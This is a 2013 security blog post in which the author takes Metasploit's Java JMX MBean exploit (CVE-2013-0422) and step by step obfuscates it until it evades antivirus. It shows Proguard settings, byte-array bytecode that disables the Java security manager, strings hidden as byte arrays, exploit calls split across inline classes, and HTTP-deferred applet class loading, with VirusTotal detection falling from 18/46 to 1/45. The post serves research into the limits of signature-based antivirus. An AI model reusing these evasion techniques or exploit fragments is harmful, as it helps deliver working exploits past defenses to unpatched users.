Experiment

Just like Security Obscurity did, I wanted to make an experiment with how difficult it would be to make a known java 0-day bypass antivirus protection.

This is not an in-depth look at AV by a malware specialist - I have no experience with packers and malware obfuscators. For sure, there are heavy tools for obfuscating java code which I’m sure could make AV bypass a breeze.

To start off,I used the payload in metasploit (java_jre17_jmxbean), decompiled the class files and configured an Eclipse-project which could generate the applet.

I also started a Windows VM with unpatched java, to check that my exploit still worked, and started doing some modifications.

First off, having only removed the metasploit-specific payload, and instead using only calc.exe to show pwnage, Virustotal detection ratio: 18 / 46

Instead of renaming variables, I reached for Proguard , using the configuration below in my build-file. (yes, I still use ant)

<target name="obfuscate" depends="dist">
	<proguard>
		  -libraryjars rt.jar
		  -injars      dist/exploit.jar
		  -outjars     dist/pro_exploit.jar
		  -keep public class * extends java.applet.Applet{
		      public static void main(java.lang.String[]);
		  }
		</proguard>
</target>

Virustotal detection ratio: 14 / 46

Some progress. There are a few more easy things to do, first of all this chunk:

public byte[] hex2Byte(String paramString)
{

    byte[] arrayOfByte = new byte[paramString.length() / 2];
    for (int i = 0; i < arrayOfByte.length; i++)
    {
      arrayOfByte[i] = (byte)Integer.parseInt(paramString.substring(2 * i, 2 * i + 2), 16);
    }
    return arrayOfByte;
 }
public static String ByteArrayWithSecOff ="CAFEBABE0000003200270A000500180A001900"+
		 "1A07001B0A001C001D07001E07001F0700200100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C6501"+
		 "00124C6F63616C5661726961626C655461626C65010001650100154C6A6176612F6C616E672F4578"+
		 "63657074696F6E3B010004746869730100034C423B01000D537461636B4D61705461626C6507001F"+
		 "07001B01000372756E01001428294C6A6176612F6C616E672F4F626A6563743B01000A536F757263"+
		 "6546696C65010006422E6A6176610C000800090700210C002200230100136A6176612F6C616E672F"+
		 "457863657074696F6E0700240C002500260100106A6176612F6C616E672F4F626A65637401000142"+
		 "0100276A6176612F73656375726974792F50726976696C65676564457863657074696F6E41637469"+
		 "6F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657201000C646F"+
		 "50726976696C6567656401003D284C6A6176612F73656375726974792F50726976696C6567656445"+
		 "7863657074696F6E416374696F6E3B294C6A6176612F6C616E672F4F626A6563743B0100106A6176"+
		 "612F6C616E672F53797374656D01001273657453656375726974794D616E6167657201001E284C6A"+
		 "6176612F6C616E672F53656375726974794D616E616765723B295600210006000500010007000000"+
		 "020001000800090001000A0000006C000100020000000E2AB700012AB8000257A700044CB1000100"+
		 "040009000C00030003000B000000120004000000080004000B0009000C000D000D000C0000001600"+
		 "02000D0000000D000E00010000000E000F001000000011000000100002FF000C0001070012000107"+
		 "0013000001001400150001000A0000003A000200010000000C01B80004BB000559B70001B0000000"+
		 "02000B0000000A00020000001000040011000C0000000C00010000000C000F001000000001001600"+
		"0000020017";

This is a piece of which disables the security manager. It is a compiled version which, decompiled, looks something like this:

import java.security.AccessController;
import java.security.PrivilegedExceptionAction;

public class B implements PrivilegedExceptionAction {
	public B() {
		try {
			AccessController.doPrivileged(this);
		} catch (Exception localException) {
		}
	}
	public Object run() {
		System.setSecurityManager(null);
		return new Object();
	}
}

It is used very late in the game, and is loaded using a classloader which the previous parts of the exploit have managed to conjure. This means that the .class-file does not actually have to be present, as long as the resource can be loaded somehow. The original exploit contained the file as a hex string.

Let’s replace the hex string! I wrote a little helper to take the B.class and output into a java byte array instead:

byte[] pld= new byte[]{-54,-2,-70,-66,0,0,0,50,0,31,10,0,5,0,16,10,0,17,0,18,7,0,19,10,0,20,0,21,7,0,22,7,0,23,7,0,24,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,23,7,0,19,1,0,3,114,117,110,1,0,20,40,41,76,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,59,12,0,8,0,9,7,0,25,12,0,26,0,27,1,0,19,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,7,0,28,12,0,29,0,30,1,0,16,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,1,0,1,66,1,0,39,106,97,118,97,47,115,101,99,117,114,105,116,121,47,80,114,105,118,105,108,101,103,101,100,69,120,99,101,112,116,105,111,110,65,99,116,105,111,110,1,0,30,106,97,118,97,47,115,101,99,117,114,105,116,121,47,65,99,99,101,115,115,67,111,110,116,114,111,108,108,101,114,1,0,12,100,111,80,114,105,118,105,108,101,103,101,100,1,0,61,40,76,106,97,118,97,47,115,101,99,117,114,105,116,121,47,80,114,105,118,105,108,101,103,101,100,69,120,99,101,112,116,105,111,110,65,99,116,105,111,110,59,41,76,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,59,1,0,16,106,97,118,97,47,108,97,110,103,47,83,121,115,116,101,109,1,0,18,115,101,116,83,101,99,117,114,105,116,121,77,97,110,97,103,101,114,1,0,30,40,76,106,97,118,97,47,108,97,110,103,47,83,101,99,117,114,105,116,121,77,97,110,97,103,101,114,59,41,86,0,33,0,6,0,5,0,1,0,7,0,0,0,2,0,1,0,8,0,9,0,1,0,10,0,0,0,56,0,1,0,2,0,0,0,14,42,-73,0,1,42,-72,0,2,87,-89,0,4,76,-79,0,1,0,4,0,9,0,12,0,3,0,1,0,11,0,0,0,16,0,2,-1,0,12,0,1,7,0,12,0,1,7,0,13,0,0,1,0,14,0,15,0,1,0,10,0,0,0,24,0,2,0,1,0,0,0,12,1,-72,0,4,-69,0,5,89,-73,0,1,-80,0,0,0,0,0,0,};

Virustotal results : 12 / 46

Still only down 2/3 from our original! Nice work, AV. Let’s get serious!

2. Replace all strings

Next, I just replace all strings (6), using a helper tool to generate byte arrays instead:

byte[] intcontext = new byte[]{115,117,110,46,111,114,103,46,109,111,122,105,108,108,97,46,106,97,118,97,115,99,114,105,112,116,46,105,110,116,101,114,110,97,108,46,67,111,110,116,101,120,116,};
byte[] genclassloader = new byte[]{115,117,110,46,111,114,103,46,109,111,122,105,108,108,97,46,106,97,118,97,115,99,114,105,112,116,46,105,110,116,101,114,110,97,108,46,71,101,110,101,114,97,116,101,100,67,108,97,115,115,76,111,97,100,101,114,};
byte[] findConstructor = new byte[]{102,105,110,100,67,111,110,115,116,114,117,99,116,111,114,};
byte[] findVirtual = new byte[]{102,105,110,100,86,105,114,116,117,97,108,};
byte[] createClassLoader = new byte[]{99,114,101,97,116,101,67,108,97,115,115,76,111,97,100,101,114,};
byte[] defineClass = new byte[]{100,101,102,105,110,101,67,108,97,115,115,};

Results: 11 / 46, hardly progress at all.

3. Insert junk

A shot from the hip - will it make any difference if I insert some junk statements into the codebase?

Call me Ishmael

Results : 10 / 46. Apparently, it works.

4. Structural changes pt 1.

Now, let’s make some structural changes,pro_exploit6.jar, inlining some calls and duplicating others to remove local variables.

Results: 8 / 46

Right, finally more than half of them bypassed. The remaining contenders are :

Vendor Signature
AntiVir EXP/CVE-2013-0422
Avast Java:CVE-2013-0422-BL [Expl]
DrWeb Exploit.CVE2013-0422.7
F-SecureExploit:Java/CVE-2013-0422.A
GData Java:CVE-2013-0422-BL
Kaspersky HEUR:Exploit.Java.CVE-2013-0422.gen
Microsoft Exploit:Java/CVE-2013-0422.B
TrendMicro EXPL_CVE20130422

Interesting thing to note at this stage - what if we remove proguard obfuscation but retain other fixes : 9/46.

Fortinet does not like proguard, but finds the vulnerability without obfuscation on:

  • Fortinet Java/MBean.gen!exploit.CVE20130422

4. Structural changes pt 2

Since we don’t have access to a classloader, we cannot use reflection as in Security Obscurity did, thus some calls that we make (e.g. MethodHandles) will be visible in the class file. What we can do, however, is spread it out across several classes and obscure the types in the ‘main’ class.

Instead of doing this call:

MethodHandle localMethodHandle1 = MethodHandles.publicLookup()
		.findVirtual(MethodHandles.Lookup.class,
			new String(findConstructor, "ASCII"),
			MethodType.methodType(MethodHandle.class,
				Class.class,
				new Class[] { MethodType.class }));

We can define a new abstract class:

private class foo {
	Object doFoo(Object o) throws Throwable
	{
		return null;
	}
	Object doFooBar(Object a,Object b) throws Throwable
	{
		return null;
	}
}

And then make an inline class which subclasses the foo class:

Object localMethodHandle1 = (new foo() {
	@Override
	Object doFoo(Object o) throws Throwable {
		return MethodHandles.publicLookup().findVirtual(
			MethodHandles.Lookup.class,
			new String((byte[]) o, "ASCII"),
			MethodType.methodType(MethodHandle.class,
					Class.class,
					new Class[] { MethodType.class }));
	}
}).doFoo(findConstructor);

This should make the program flow a lot more difficult to analyse, since each .class-file should only contain small parts of the exploit, therefore hopfully slipping under the radar of AV fingerprinting. Classes defined inline wind up in separate class files :

Classes

After externalizing all actual malicious stuff, the main applet class is a very benign creature which only performs these kinds of operations:

Object x = new foo.1().doFoo(y);
Object y = new foo.2().doFoo(x);
Object z = new foo.2().doFoo(y);

After this is performed for all calls, we’re down to down to 2/45! Results.

Vendor Signature
DrWebExploit.CVE2013-0422.7
KasperskyHEUR:Exploit.Java.CVE-2013-0422.gen

Interesting to note, without proguard-obfuscation, we get different Results : 6 / 45 .

Vendor Signature
Avast Java:Agent-CON [Trj]
GData Java:Agent-CON
Kaspersky HEUR:Exploit.Java.CVE-2013-0422.gen
Microsoft Exploit:Java/CVE-2013-0422.C
TrendMicro-HouseCall TROJ_GEN.F47V0307
VIPRE Trojan.Java.Generic (v)

Some vendors obviously get fooled by Proguard, others (DrWeb) benefit from it. Proguard is a double-edged sword; it simplifies application flow, thus in a sense canonicalizing it, which may conflict with the obfuscation of program flow that we are doing.

Vendor Proguard-version No proguard
Avast - Java:Agent-CON
Gdata - Java:Agent-CON
Kaspersky HEUR:Exploit.Java.CVE-2013-0422.gen HEUR:Exploit.Java.CVE-2013-0422.gen
DrWeb Exploit.CVE2013-0422.7 -
Microsoft - Exploit:Java/CVE-2013-0422.C
TrendMicro-HouseCall - TROJ_GEN.F47V0307
VIPRE - Trojan.Java.Generic (v)

Sloppiness

At this point I noticed an oversight; the B.class, containing a payload which I had already moved over to a byte-array back in step 1, was needlessly included in the .jar-file. DOH! Removing that obvious giveaway

Proguard-version Results 2/45:

Vendor Signature
DrWebExploit.CVE2013-0422.7
KasperskyHEUR:Exploit.Java.CVE-2013-0422.gen

Well, we already know that DrWeb will drop off if we don’t use proguard… Non-proguard-version Results: 1/45 :

Vendor Signature
KasperskyHEUR:Exploit.Java.CVE-2013-0422.gen

So, the winner of this little game is…

Kaspersky

Oh, does it still pop? Pop


The final push

Of course, I can’t leave it like that. Need to go deeper. So, the first thing to do is to check exactly which class it is that Kaspersky triggers on. Above, I wound up with one main class – the Applet, one private class and 16 inline classes:

Classes

To check which one triggers detection, I uploaded them all to VT and got…

Nothing.

Not a single AV trigger

So, no single class file triggered AV reactions - but Kaspersky still triggers on a jar-file containing them all. Obviously, Kaspersky is doing something right.

However, after having gone through the trouble of spreading out the individual parts of the malicious program into separate classes, which by themselves are not enough to trigger any AV suspicions, there is one more trick that can be used. It has to do with the behaviour of the Applet class loader.

From Securing Java:

If the class is not found by the Primordial Class Loader, the Applet Class Loader typically loads it via HTTP using methods of the URL class. Code is fetched from the CODEBASE specified in the <APPLET> tag.

What this means for an attacker is that I only need to include the main Applet class. All remaining classes can be deferred for later, and served directly from the web server as needed. That is, when the runtime notices that a class is missing. Indeed - there’s no need for a jar-file at all, I can just specify the applet class directly.

Another interesting aspect that is that when the actual jar-file (and, later, the classe) are loaded, it is not the browser that does the fetching: it is the Java VM, using the URL class as specified above. This means that an attacker does not have to use any magic to determine the java version; the UA-string used by Java will let us know.

Java UA:

User-Agent: Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_05

Browser UA:

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

Anyway, in essence what we’ve ended up with is features pretty close to something out of a dynamic language:

  • No type information, or at least only local type information (since everything is ‘dumbed down’ to Object)
  • Late binding via Applet HTTP classloading

Unfortunately, I don’t actually have Kaspersky to test with, so I can’t be 100% sure that it works. However, given that no individual .class -file is flagged as malicious, I don’t see how an AV could possibly stop this kind of attack, since it would require the AV to keep historic record in a way that I don’t believe it does.

As I said in the beginning, this is nothing new - anyone in the security industry already knows that signature-based AV is a very blunt tool which provides a very limited degree of protection.

A non-signature-based AV, such as FireEye, would definitely catch this, since FireEye is basically a VM which executes the code in the same way the target would.

2013-03-15

tweets

favorites